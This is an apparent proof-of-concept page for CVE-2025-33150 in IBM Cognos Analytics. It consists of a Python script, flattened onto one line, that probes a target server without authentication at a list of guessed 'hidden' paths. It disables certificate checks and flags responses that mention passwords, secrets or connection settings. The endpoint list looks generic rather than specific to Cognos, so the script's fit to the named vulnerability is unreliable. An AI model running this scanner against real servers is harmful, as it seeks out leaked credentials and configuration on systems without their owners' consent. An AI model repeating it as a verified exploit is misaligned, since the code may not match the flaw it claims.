CVE-2025-33150 IBM Cognos Analytics隐藏页面信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-33150 PoC - IBM Cognos Analytics Hidden Page Information Disclosure This PoC demonstrates how to discover and access hidden pages that leak package parameter information. Note: Only for authorized security testing with proper authorization. """ import requests import sys from urllib.parse import urljoin def test_hidden_pages(target_url): """ Test for hidden pages in IBM Cognos Analytics that may expose sensitive information. """ # Common hidden page paths that might expose package parameters hidden_paths = [ '/api/internal/package_params', '/api/debug/config', '/internal/admin/settings', '/api/v1/package-info', '/debug/package_params', '/admin/system/config', '/api/system/package_info', '/cgi-bin/internal/get_params', '/api/v1/internal/configuration' ] results = [] for path in hidden_paths: full_url = urljoin(target_url.rstrip('/'), path) try: # Send GET request without authentication response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains sensitive parameter information content = response.text.lower() if any(keyword in content for keyword in ['package', 'parameter', 'config', 'db_', 'connection', 'password', 'secret']): results.append({ 'url': full_url, 'status': response.status_code, 'sensitive_data_found': True, 'content_length': len(response.text) }) elif response.status_code == 401 or response.status_code == 403: results.append({ 'url': full_url, 'status': response.status_code, 'sensitive_data_found': False, 'note': 'Access denied - endpoint exists but protected' }) except requests.exceptions.RequestException as e: print(f"Error testing {full_url}: {e}") return results def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_33150_poc.py <target_url>") print("Example: python3 cve_2025_33150_poc.py https://cognos-server:9300") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-33150...") print(f"[*] Testing hidden pages for package parameter disclosure\n") findings = test_hidden_pages(target) if findings: print(f"[+] Found {len(findings)} potential vulnerable endpoints:") for finding in findings: print(f"\n URL: {finding['url']}") print(f" Status: {finding['status']}") if finding.get('sensitive_data_found'): print(f" [!] WARNING: Sensitive package parameter data may be exposed!") print(f" Content Length: {finding.get('content_length', 'N/A')} bytes") else: print("[-] No vulnerable hidden pages found or target is patched.") if __name__ == '__main__': main()